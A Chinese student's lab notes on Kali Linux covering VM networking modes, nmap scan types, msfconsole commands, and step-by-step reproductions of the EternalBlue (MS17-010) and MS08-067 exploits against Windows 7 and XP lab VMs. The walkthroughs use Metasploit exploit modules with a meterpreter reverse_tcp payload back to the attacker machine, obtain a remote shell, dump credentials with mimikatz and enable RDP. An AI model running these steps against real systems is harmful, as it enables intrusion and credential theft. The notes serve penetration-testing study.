云曦暑期学习第六周——kali

1.熟悉网络配置

一般来说虚拟机有三种网络模式:

  • NAT (网络地址转换模式)
  • Bridged (桥接模式)
  • Host-Only(主机模式)

nat模式:

虚拟系统会通过宿主机的网络来访问外网。而这里的宿主机相当于有两个网卡,一个是真实网卡,一个是虚拟网卡,真实网卡相当于链接了现实世界的真实路由器,而宿主机的虚拟网卡,相当于链接了一个可以认为是虚拟交换机(这个虚拟交换机同时链接了虚拟系统(linux)和宿主机)。

​ 当虚拟网络想访问外网,就必须通过宿主机的IP地址,而外面看来也确实是宿主机的IP地址(实则是虚拟机访问的!!),完全看不到虚拟网络局域的内部形式,而这个时候linux和宿主机和虚拟交换机形成一个网段,宿主机和真实路由形成一个网段。

Bridged模式

桥接网络是指物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接。

此时VMnet0虚拟交换机相当于一台现实网络中的交换机,虚拟机相当于一台物理主机。他可以访问这个局域网内的所有的主机,但是需要手动来配置IP地址,子网掩码,并且他是和真实主机在同一个网段(nat是两个网段),这个模式里,虚拟机和宿主机可以互相ping通。

Host-Only模式

在Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。

其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。

​ Host-Only的宗旨就是建立一个与外界隔绝的内部网络,来提高内网的安全性。这个功能或许对普通用户来说没有多大意义,但大型服务商会常常利用这个功能。如果你想为VMnet1网段提供路由功能,那就需要使用RRAS,而不能使用XP或2000的ICS,因为ICS会把内网的IP地址改为192.168.0.1,但虚拟机是不会给VMnet1虚拟网卡分配这个地址的,那么主机和虚拟机之间就不能通信了。

2.nmap

2.1简要

nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图,Nmap的发送特制的数据包到目标主机,然后对返回数据包进行分析。Nmap是一款枚举和测试网络的强大工具。

2.2功能

1.主机探测
2.端口扫描
3.版本检测
4.支持探测脚本的编写

2.3实例

发现主机

1.扫描指定IP地址(ping 扫描)

nmap  -sn 192.168.0.102云曦暑期学习第六周——kali_第1张图片

 2.扫描指定IP地址

云曦暑期学习第六周——kali_第2张图片

 3.提取文件中的IP地址云曦暑期学习第六周——kali_第3张图片

 4.扫描整个网段/子网

(ip地址一共是32位,/24就表示他的网络号是24位。也就是说共有 2^(32-24)-2 个主机,共254个ip。因为主机为全0和1的保留不用,所以需要减2)云曦暑期学习第六周——kali_第4张图片

端口发现

1.扫描主机的指定端口云曦暑期学习第六周——kali_第5张图片

 2.使用TCP的SYN进行扫描(半开放扫描,只发送SYN,如果服务器回复SYN,ACK。证明端口开放,不建立完整连接

云曦暑期学习第六周——kali_第6张图片

3.使用TCP进行扫描(默认nmap扫描方式)云曦暑期学习第六周——kali_第7张图片

4.使用UDP进行扫描(扫描UDP开放的端口)

云曦暑期学习第六周——kali_第8张图片

5.使用FIN扫描

有的时候TCP SYN不是最佳的扫描默认,目标主机可能有IDS/IPS系统的存在,防火墙可能过滤掉SYN数据包。而发送一个

FIN标志的数据包不需要完成TCP的握手。云曦暑期学习第六周——kali_第9张图片

6.idle扫描(需要指定另外一台主机IP地址,并且目标主机的IPID是递增的)

idlescan是一种理想的扫描方式,它使用另一台网络上的主机替你发送数据包,从而隐藏自己。

nmap -sI  192.168.3.227 192.168.3.74

获得服务版本详细信息

nmap -sV 192.168.0.102云曦暑期学习第六周——kali_第10张图片

 确定主机操作系统

nmap -O 192.168.0.102 

云曦暑期学习第六周——kali_第11张图片

3.msfconsole

msfconsole 简称 msf 是一款常用的安全测试工具,包含了常见的漏洞利用模块和生成各种木马,其提供了一个一体化的集中控制台,通过msfconsole,你可以访问和使用所有的metaslopit插件,payload,利用模块,post模块等等。msfconsole还有第三方程序的接口,比如nmap、sqlmap等,可以直接在msfconsole里面使用。
kali可直接在命令使用:

msfconsole

Msfconsole的系统文件和用户文件位于/usr/share/metasploit-framework/msfconsole目录下 

3.1基础命令概览:

back(返回): 从目前的情况下向后移动

banner:Display an awesome metasploit banner

cd: 改变当前的工作目录

color: 切换颜色

connect(远程连接): 与主机通信

edit(编辑): 编辑与$ VISUAL或$ EDITOR当前模块的

exit(退出命令行): 退出控制台

get (获取变量): 获取特定上下文变量的值

getg (全局获取变量): 获取一个全局变量的值

go_pro : 启动Metasploit的网页图形用户界面

grep: grep的另一个命令的输出

help(帮助) : 帮助菜单

info(获取模块信息): 关于一个或多个模块显示信息

irb: 进入irb脚本模式

jobs:显示和管理职位

kill(结束进程): 结束一个进程

load(加载): 加载一个框架插件

loadpath : 搜索和负载从一个路径模块

makerc: 保存自开始进入到一个文件中的命令

popm: 弹出最新的模块从堆栈中并使其活跃

previous : 将以前加载模块作为当前模块

pushm : 推主动或模块列表在模块栈

quit (退出控制台): 退出控制台

reload_all Reloads : 从所有定义的模块路径的所有模块

rename_job : 重命名工作

resource : 运行存储命令在文件

route: 通过会话路由流量

save: 将数据存储主动

search(搜索exp等模块关键字): 搜索模块的名称和说明

sessions(会话功能): 转储会话列表和显示有关会话的信息

set(设置参数): 设置一个特定的上下文变量的值

setg(全局设置参数): 设置一个全局变量的值

show(展示参数模块): 给定类型的显示模块或所有模块

sleep : 什么都不做对的指定秒数

spool : 写控制台输出到一个文件以及屏幕

threads : 查看和操作后台线程

unload(卸载某个插件): 卸载一个框架插件

unset(删除某个设置参数): 取消设置一个或多个特定的上下文变量

unsetg(取消全局某个设置参数): 取消设置一个或多个全局变量的

use(使用某个模块): 选择按名称模块

version(查看版本信息): 显示的框架和控制台库版本号

输入命令show,看到提示,那么根据提示我们就知道msf包含的模块:

3.2实例

show

输入命令show,看到提示,那么根据提示我们就知道msf包含的模块:

云曦暑期学习第六周——kali_第12张图片

 show encoders:

使用方式-e 编码类型即可,这样可以根据不同需求得到我们需要的shellcode。云曦暑期学习第六周——kali_第13张图片

 云曦暑期学习第六周——kali_第14张图片

show nops

 除了编码模块,还有滑板指令模块,通过show nops展示:

滑板指令不会对程序运行状态有实质影响或者空操作之类的,就像0x90。滑板指令有多种作用,在漏洞利用中应用广泛:

• 填充,填充多余部分

• 延迟,nop指令会产生一定的延迟效果

• 等待,等待缓冲区清空,总线恢复

• 清除,清除上一个算数逻辑指令设置的flag位

• 破解,将部分关键指令用nop填充

使用方式use +即可
 

云曦暑期学习第六周——kali_第15张图片

show auxiliary

 show auxiliary辅助模块,是一个功能特别多的模块,这里只简单介绍,他负责执行信息收集,扫描,嗅探,指纹识别,口令猜测和Dos攻击等功能:云曦暑期学习第六周——kali_第16张图片

 show post

 show post,这是一个后渗透模块,里面包含了后渗透会用到的功能,最多就是信息收集:云曦暑期学习第六周——kali_第17张图片

 banner
这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。云曦暑期学习第六周——kali_第18张图片

Search参数
当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。我会详细的解释一下这个命令。

当你输入help search的时候就会列出search命令的一些选项。

help search

云曦暑期学习第六周——kali_第19张图片(1)查 mysql

search name:mysql

云曦暑期学习第六周——kali_第20张图片

(2)查 joomla

search joomla

云曦暑期学习第六周——kali_第21张图片

(3)ms08-067查找漏洞

search ms08-067

 云曦暑期学习第六周——kali_第22张图片

4.永恒之蓝复现(Eternal Blue)

永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

4.1复现环境

kali使用ifconfig,win7使用ipconfig查看ip地址

攻击机:kali (192.168.75.128)
靶机:Windows 7 (192.168.75.129)

4.2复现过程

1.先看能不能ping通云曦暑期学习第六周——kali_第23张图片

2.使用nmap对靶机端口服务进行扫描,检测目标主机是否存活,以及445端口开放情况

 nmap -sV 192.168.75.129云曦暑期学习第六周——kali_第24张图片

 可以看到:目标主机存活(host is up),且445端口开放

3.打开Metasploit

msfconsole

4.输入永恒之蓝漏洞编号

永恒之蓝漏洞编号为ms17-010

search ms17-010

云曦暑期学习第六周——kali_第25张图片 可以看到返回了多条可利用的漏洞模块信息,永恒之蓝用到的是第3个和第0个。第3个是用来进行扫描的,扫描在这个网段里面哪一个主机是有这个漏洞的(scanner扫描器),第0个是永恒之蓝的攻击模块。

5.先使用第3个扫描器进行辅助扫描测试。

use auxiliary/scanner/smb/smb_ms17_010

 

6.查看该漏洞模块所需的参数情况

show options

 云曦暑期学习第六周——kali_第26张图片

结果展示:其中required下方显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

我们重点关注以下2个参数配置,哪个参数有问题就设置哪个:

RHOST(被攻击的目标地址-靶机地址);

RPORT(被攻击目标地址的端口-保证445端口开放)

7、设置靶机地址

由上图可知:只有RHOST未设置,其他参数均以自动获取,没有问题。所以我们只需设置靶机位置即可

set RHOST 192.168.75.129

8、进行检验

show options

云曦暑期学习第六周——kali_第27张图片

9、发起攻击

run

云曦暑期学习第六周——kali_第28张图片 显示“Host is likely VULNERABLE to MS17-010”-该主机很容易受到ms17-010的攻击,可以断定靶机存在永恒之蓝漏洞。

10、再次查看永恒之蓝漏洞

search ms17-010 

云曦暑期学习第六周——kali_第29张图片

11、进入0模块,进行攻击

use exploit/windows/smb/ms17_010_eternalblue

12、查看参数配置情况

show options

重点关注以下5个参数设置,哪个有问题就设置哪个

1.Payload(攻击载体) ;

2.RHOST(被攻击的目标地址-靶机ip);

3.RPORT(被攻击目标地址的端口-保证445开放);

4.LHOST(发起攻击的地址-kali的ip);

5.LPORT(发起攻击的端口-默认即可);

云曦暑期学习第六周——kali_第30张图片
云曦暑期学习第六周——kali_第31张图片

发现仅RHOST为空待设置,其它(payload/RPORT/LHOST/LPORT)均已获取且正确 

13、设置RHOST

set RHOST 192.168.75.129

14、再次检查

show options

云曦暑期学习第六周——kali_第32张图片

15,发起攻击

run

云曦暑期学习第六周——kali_第33张图片

 云曦暑期学习第六周——kali_第34张图片

显示meterpreter >表明攻击成功 两个电脑已经建立了一个会话连接

 Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

16,进入靶机shell

shell

 若有乱码,输入chcp 65001即可云曦暑期学习第六周——kali_第35张图片

 这个时候我们已经成功了,可以远程命令执行,变成了windows的控制台的模式。

查看本地用户

net user 

云曦暑期学习第六周——kali_第36张图片

永恒之蓝复现完毕

5.ms08-067漏洞复现

MicrosoftWindows是美国微软(Microsoft)公司发布的一系列操作系统。Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞。远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。对于Windows2000、XP和Server2003,无需认证便可以利用这个漏洞;对于WindowsVista和Server2008,可能需要进行认证。

5.1复现环境

未打补丁的xp:192.168.75.130
kali:192.168.75.128
两台主机之间可以通信

云曦暑期学习第六周——kali_第37张图片

 云曦暑期学习第六周——kali_第38张图片

5.2复现过程

 1、扫描目标靶机,445端口是开放的云曦暑期学习第六周——kali_第39张图片

 2、启动msfconsole,搜索漏洞

search ms08_067

云曦暑期学习第六周——kali_第40张图片

 
3.这里只有一个可用的exploit模块,use它。

4.show targets查看一下,该模块都适用于哪些windows版本。 云曦暑期学习第六周——kali_第41张图片

5.本次实验的主机是xp3 simplified。
这里将目标主机的类型设置。

set target 34

6. 看一下需要配置哪些参数show options云曦暑期学习第六周——kali_第42张图片

 7.设置一下rhosts

8.查看一下有哪些可用的payload;show payloads 云曦暑期学习第六周——kali_第43张图片

这里选择61号。set pyaload windows/meterpreter/reverse_tcp 

9.再看一下payload需要配置哪些参数show options云曦暑期学习第六周——kali_第44张图片

 

看到别人wp说需要配置lohostlport;配置监听地址和监听端口。监听端口有默认值,这里就只配置监听地址为kali的IP。

但这里都已经配置好了

10.run

云曦暑期学习第六周——kali_第45张图片

成功了

可以开启一个内渗透模块:load mimikatz,

云曦暑期学习第六周——kali_第46张图片

 用creds_all查看用户名和密码云曦暑期学习第六周——kali_第47张图片

开启远程桌面:run post/windows/manage/enable_rdp

云曦暑期学习第六周——kali_第48张图片 复现完毕

 

你可能感兴趣的:(学习,网络)